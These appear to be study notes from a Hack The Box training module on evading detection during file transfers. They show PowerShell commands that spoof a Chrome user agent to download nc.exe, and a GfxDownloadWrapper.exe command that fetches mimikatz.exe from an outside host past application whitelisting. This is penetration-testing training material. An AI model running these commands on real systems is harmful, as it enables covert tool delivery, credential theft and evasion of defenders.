Evading Detection

vendredi 4 octobre 2024 11:33 PM

Changing User Agent

If diligent administrators or defenders have blacklisted any of these User Agents, Invoke-WebRequest contains a UserAgent parameter, which allows for **changing the default user agent** to one emulating Internet Explorer, Firefox, Chrome, Opera, or Safari. For example, if Chrome is used internally, setting this User Agent may make the request seem legitimate.

Listing out User Agents

```
□ PS C:\htb>[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User
  Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl
```

```
Name      : InternetExplorer
User Agent : Mozilla/5.0 (compatible; MSIE 9.0; Windows NT; Windows NT 10.0; en-US)

Name      : FireFox
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) Gecko/20100401 Firefox/4.0

Name      : Chrome
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0
          Safari/534.6

Name      : Opera
User Agent : Opera/9.70 (Windows NT; Windows NT 10.0; en-US) Presto/2.2.1

Name      : Safari
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0
          Safari/533.16
```

Invoking Invoke-WebRequest to download nc.exe using a Chrome User Agent:

Request with Chrome User Agent

```
□ PS C:\htb> $UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome

□ PS C:\htb> Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public
  \nc.exe"


□ $ nc -lvnp 80
```

```
listening on [any] 80 ...
connect to [10.10.10.32] from (UNKNOWN) [10.10.10.132] 51313
GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/534.6
(KHTML, Like Gecko) Chrome/7.0.500.0 Safari/534.6
Host: 10.10.10.32
Connection: Keep-Alive
```

LOLBAS / GTFOBins

Application whitelisting may prevent you from using PowerShell or Netcat, and command-line logging may alert defenders to your presence. In this case, an option may be to use a "**LOLBIN**" (living off the land binary), alternatively also known as "misplaced trust binaries." An example LOLBIN is the Intel Graphics Driver for Windows 10 (**GfxDownloadWrapper.exe**), installed on some systems and contains functionality to download configuration files periodically. This download functionality can be invoked as follows:

Transferring File with GfxDownloadWrapper.exe

```
PS C:\htb> GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"
```

Such a binary might be permitted to run by application whitelisting and be excluded from alerting. Other, more commonly available binaries are also available, and it is worth checking the LOLBAS project to find a suitable "file download" binary that exists in your environment. Linux's equivalent is the GTFOBins project and is definitely also worth checking out. As of the time of writing, the GTFOBins project provides useful information on nearly 40 commonly installed binaries that can be used to perform file transfers.